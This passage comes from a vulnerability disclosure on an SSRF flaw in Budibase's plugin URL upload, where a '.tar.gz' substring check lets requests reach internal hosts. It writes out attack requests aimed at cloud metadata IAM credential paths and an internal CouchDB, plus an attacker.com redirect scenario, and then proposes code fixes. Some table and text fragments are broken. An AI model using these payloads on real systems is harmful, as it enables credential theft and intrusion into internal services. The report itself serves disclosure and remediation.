All Budibase instances with plugin loading enabled (default)
2. Description
The Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path.
Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default behavior with ).
BLACKLIST_IPS
node-fetch
redirect: 'follow'
The developer team's own test suite (objectStore.spec.ts:393) tests that downloadTarballDirect passes through fetchWithBlacklist — confirming they're aware of the SSRF risk on this path. The .tar.gz substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
if (!url.includes(".tar.gz")) {
// ← ONLY validation: any URL with ".tar.gz" anywhere passes
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = await downloadUnzipTarball(url, name, headers)
// ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
try {
return await getPluginMetadata(path)
} catch (err) {
deleteFolderFileSystem(path)
throw err
}
}
Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
// ← team explicitly tests that IMDS is blocked via blacklist
})
The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense — but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.
3.4 Authorization model
Operation
Endpoint
Required Permission
Plugin URL upload
POST /api/plugin
Global Builder
Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.
4. Impact Analysis
4.1 Confidentiality — High (chained) / Low (standalone)
When chained with [001] (BLACKLIST_IPS bypass):
AWS/GCP/Azure IMDS (169.254.169.254) — IAM credentials, service account tokens
CouchDB (127.0.0.1:4005) — application databases, user records
Open redirect chains — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on node-fetch redirect behavior and whether fetchWithBlacklist re-checks the redirected URL.
4.2 Integrity — None (GET-only path)
The plugin URL upload uses GET-only semantics via fetchWithBlacklist. No write operations to internal services via this path.
4.3 Availability — None
No service disruption.
4.4 Scope Change (chained)
Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.
5. Proof of Concept
Verification status: Code-level confirmed. End-to-end Docker test pending.
PoC files are ready: poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py + docker-compose.yml
The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball — but the string check doesn't know that.
5.3 Step 2 — Expected response (SSRF confirmed)
With blacklist active (default config):
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }
With BLACKLIST_IPS="" (chained with 001):
{ "message": "Failed to import plugin: incorrect header check" }
The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.
http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/)
✅
Internal via redirect
6. Attack Scenarios
Scenario A — Chained with [001]: AWS IMDS credential theft
1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" }
3. Budibase fetches IMDS endpoint → receives IAM credentials JSON
4. zlib decompressor fails on non-gzip content → error response
5. Depending on logging config, credential material may appear in logs or error details
Scenario B — Standalone: Open redirect SSRF (default config)
1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin
2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" }
3. node-fetch follows redirect (default: redirect: 'follow')
4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached
5. Requires verification of redirect handling in fetchWithBlacklist
Scenario C — CouchDB data access (chained)
1. BLACKLIST_IPS="" enables internal access
2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz
3. CouchDB responds with JSON list of databases
4. zlib error confirms HTTP request reached CouchDB
Fix 1 (High): Replace substring check with URL parsing and extension validation
// packages/server/src/api/controllers/plugin/url.ts
import { URL } from "url"
export async function urlUpload(url: string, name = "", headers = {}) {
let parsed: URL
try {
parsed = new URL(url)
} catch {
throw new Error("Invalid plugin URL.")
}
// Only allow https:// scheme
if (parsed.protocol !== "https:") {
throw new Error("Plugin URL must use HTTPS.")
}
// Require the path to end with .tar.gz (not just contain it anywhere)
if (!parsed.pathname.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).")
}
const path = await downloadUnzipTarball(url, name, headers)
// ...
}
Fix 2 (High): Re-check blacklist after redirect in fetchWithBlacklist
// packages/backend-core/src/objectStore/utils/outboundFetch.ts
// Current: only checks the original URL before fetch
// Fix: also intercept redirects and re-check each redirect target
const response = await nodeFetch(url, {
...options,
redirect: "manual", // don't auto-follow
})
if (response.status >= 300 && response.status < 400) {
const redirectUrl = response.headers.get("location")
if (redirectUrl) {
const redirectHost = new URL(redirectUrl).hostname
if (await isBlacklisted(redirectHost)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// recursively fetch (with depth limit)
}
}
Fix 3 (Medium): Add hostname allowlist option for plugin sources
Provide a PLUGIN_ALLOWED_HOSTS variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.